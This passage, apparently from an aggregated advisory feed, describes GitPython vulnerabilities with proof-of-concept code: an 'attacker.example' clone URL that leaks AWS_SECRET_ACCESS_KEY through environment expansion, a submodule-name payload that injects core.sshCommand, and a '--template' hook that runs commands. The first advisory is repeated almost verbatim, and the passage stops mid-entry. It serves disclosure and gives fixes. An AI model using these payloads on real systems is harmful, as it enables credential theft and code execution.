`AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. ##### Details **Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url ``` `Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess: `git/repo/base.py` (v3.1.50), lines 1407–1418: ```python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) ``` Because `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as: ``` https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git ``` is rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL. **Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url="$X"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ##### PoC Tested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`. ```bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and transmitted to the attacker-named host. The PoC intercepts the Popen argv to show the exact URL handed to `git` without performing real network I/O. """ import os import sys import subprocess import tempfile ##### Simulate a sensitive server-side environment variable. os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" import git # noqa: E402 from git import Git, Repo # noqa: E402 print(f"gitpython version: {git.__version__}") ##### --- Layer 1: Git.polish_url() directly -------------------------------------- attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git" polished = Git.polish_url(attacker_url) print("\n[Layer 1] polish_url result:") print(f" input : {attacker_url}") print(f" output: {polished}") if os.environ["AWS_SECRET_ACCESS_KEY"] in polished: print(" -> secret SUBSTITUTED into URL by polish_url()") ##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ---------- captured = {} orig_popen = subprocess.Popen class CapturingPopen(orig_popen): def __init__(self, cmd, *a, **kw): if isinstance(cmd, (list, tuple)) and "clone" in cmd: captured["cmd"] = list(cmd) super().__init__(cmd, *a, **kw) subprocess.Popen = CapturingPopen import git.cmd as gitcmd # noqa: E402 gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen dest = tempfile.mkdtemp(prefix="gp_poc_") try: Repo.clone_from(attacker_url, os.path.join(dest, "out")) except Exception as e: # The clone fails (attacker.example does not resolve); we only need argv. print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}") subprocess.Popen = orig_popen print("\n[Layer 2] argv passed to `git clone` subprocess:") for tok in captured.get("cmd", []): print(f" {tok}") cmd = captured.get("cmd", []) url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None print(f"\n[Layer 2] URL argument given to git: {url_arg}") secret = os.environ["AWS_SECRET_ACCESS_KEY"] if url_arg and secret in url_arg: print( "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated " "into the remote clone URL; git would transmit it to attacker.example." ) sys.exit(0) print("\nNOT VULNERABLE") sys.exit(1) ``` Expected output: ``` gitpython version: 3.1.50 [Layer 1] polish_url result: input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git -> secret SUBSTITUTED into URL by polish_url() [Layer 2] clone_from raised (expected): GitCommandError [Layer 2] argv passed to `git clone` subprocess: git clone -v -- https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git /tmp/gp_poc_XXXXXXXX/out [Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example. ``` The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path. ##### Impact Any application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact. **Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67322](https://nvd.nist.gov/vuln/detail/CVE-2026-67322) - [https://github.com/gitpython-developers/GitPython/pull/2172](https://github.com/gitpython-developers/GitPython/pull/2172) - [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) - [https://github.com/advisories/GHSA-rwj8-pgh3-r573](https://github.com/advisories/GHSA-rwj8-pgh3-r573) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3842.yaml) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from](https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rwj8-pgh3-r573) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL [CVE-2026-67322](https://nvd.nist.gov/vuln/detail/CVE-2026-67322) / [GHSA-rwj8-pgh3-r573](https://github.com/advisories/GHSA-rwj8-pgh3-r573) / PYSEC-2026-3842 <details> <summary>More information</summary> #### Details ##### Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. ##### Details **Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url ``` `Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess: `git/repo/base.py` (v3.1.50), lines 1407–1418: ```python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) ``` Because `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as: ``` https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git ``` is rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL. **Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url="$X"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ##### PoC Tested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`. ```bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and transmitted to the attacker-named host. The PoC intercepts the Popen argv to show the exact URL handed to `git` without performing real network I/O. """ import os import sys import subprocess import tempfile ##### Simulate a sensitive server-side environment variable. os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" import git # noqa: E402 from git import Git, Repo # noqa: E402 print(f"gitpython version: {git.__version__}") ##### --- Layer 1: Git.polish_url() directly -------------------------------------- attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git" polished = Git.polish_url(attacker_url) print("\n[Layer 1] polish_url result:") print(f" input : {attacker_url}") print(f" output: {polished}") if os.environ["AWS_SECRET_ACCESS_KEY"] in polished: print(" -> secret SUBSTITUTED into URL by polish_url()") ##### --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ---------- captured = {} orig_popen = subprocess.Popen class CapturingPopen(orig_popen): def __init__(self, cmd, *a, **kw): if isinstance(cmd, (list, tuple)) and "clone" in cmd: captured["cmd"] = list(cmd) super().__init__(cmd, *a, **kw) subprocess.Popen = CapturingPopen import git.cmd as gitcmd # noqa: E402 gitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen dest = tempfile.mkdtemp(prefix="gp_poc_") try: Repo.clone_from(attacker_url, os.path.join(dest, "out")) except Exception as e: # The clone fails (attacker.example does not resolve); we only need argv. print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}") subprocess.Popen = orig_popen print("\n[Layer 2] argv passed to `git clone` subprocess:") for tok in captured.get("cmd", []): print(f" {tok}") cmd = captured.get("cmd", []) url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None print(f"\n[Layer 2] URL argument given to git: {url_arg}") secret = os.environ["AWS_SECRET_ACCESS_KEY"] if url_arg and secret in url_arg: print( "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated " "into the remote clone URL; git would transmit it to attacker.example." ) sys.exit(0) print("\nNOT VULNERABLE") sys.exit(1) ``` Expected output: ``` gitpython version: 3.1.50 [Layer 1] polish_url result: input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git -> secret SUBSTITUTED into URL by polish_url() [Layer 2] clone_from raised (expected): GitCommandError [Layer 2] argv passed to `git clone` subprocess: git clone -v -- https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git /tmp/gp_poc_XXXXXXXX/out [Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example. ``` The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path. ##### Impact Any application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact. **Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67322](https://nvd.nist.gov/vuln/detail/CVE-2026-67322) - [https://github.com/gitpython-developers/GitPython/pull/2172](https://github.com/gitpython-developers/GitPython/pull/2172) - [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52) - [https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from](https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-rwj8-pgh3-r573](https://github.com/advisories/GHSA-rwj8-pgh3-r573) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3842) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) [CVE-2026-69097](https://nvd.nist.gov/vuln/detail/CVE-2026-69097) / [GHSA-3rp5-jjmw-4wv2](https://github.com/advisories/GHSA-3rp5-jjmw-4wv2) / PYSEC-2026-3981 <details> <summary>More information</summary> #### Details ##### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ##### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ##### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) ##### A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl) p_exploit = parent_repo() git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl) ctl = injected_sshcommand(p_control) exp = injected_sshcommand(p_exploit) header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines() if l.startswith("[submodule")][0] print("control name :", repr(benign)) print(" git core.sshCommand ->", ctl, "(unset)") print("exploit name :", repr(evil)) print(" written header ->", header) print(" git core.sshCommand ->", exp) assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand" assert exp == (0, MARKER), "not reproduced" print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} " f"into the victim's trusted .git/config (git would run it on the next ssh op)") ``` Run: ```bash uv run --with GitPython==3.1.52 python poc.py ``` Observed output: ``` ##### GitPython 3.1.52 control name : 'docs' git core.sshCommand -> (1, '') (unset) exploit name : 'x"] [core] sshCommand=MARKER_9f3a #' written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"] git core.sshCommand -> (0, 'MARKER_9f3a') VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op) ``` The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule "<name>"` wrapper balances them automatically. ##### Impact Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths: - an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or - `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`. No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected). ##### Recommended fix Reject or escape configuration section/subsection/option **names** that contain `]`, `[`, `"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path. #### Severity - CVSS Score: 7.0 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2) - [https://github.com/gitpython-developers/GitPython/pull/2176](https://github.com/gitpython-developers/GitPython/pull/2176) - [https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1](https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3981.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3981.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-submodule-names](https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-submodule-names) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3rp5-jjmw-4wv2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-69097](https://nvd.nist.gov/vuln/detail/CVE-2026-69097) / [GHSA-3rp5-jjmw-4wv2](https://github.com/advisories/GHSA-3rp5-jjmw-4wv2) / PYSEC-2026-3981 <details> <summary>More information</summary> #### Details GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations. #### Severity - CVSS Score: 7.3 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H` #### References - [https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-submodule-names](https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-submodule-names) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3981) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks [CVE-2026-73623](https://nvd.nist.gov/vuln/detail/CVE-2026-73623) / [GHSA-6p8h-3wgx-97gf](https://github.com/advisories/GHSA-6p8h-3wgx-97gf) / PYSEC-2026-3952 <details> <summary>More information</summary> #### Details ##### Summary GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration. ##### Root Cause `base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense. ##### Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H. ##### Proof of Concept ```python ##### attacker stages <dir>/hooks/post-checkout (chmod +x) from git import Repo Repo.clone_from(src, dst, template='<dir>') # post-checkout hook executes -> marker created (verified) ``` ##### Attack Chain 1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem). 2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error). 3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created). ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: 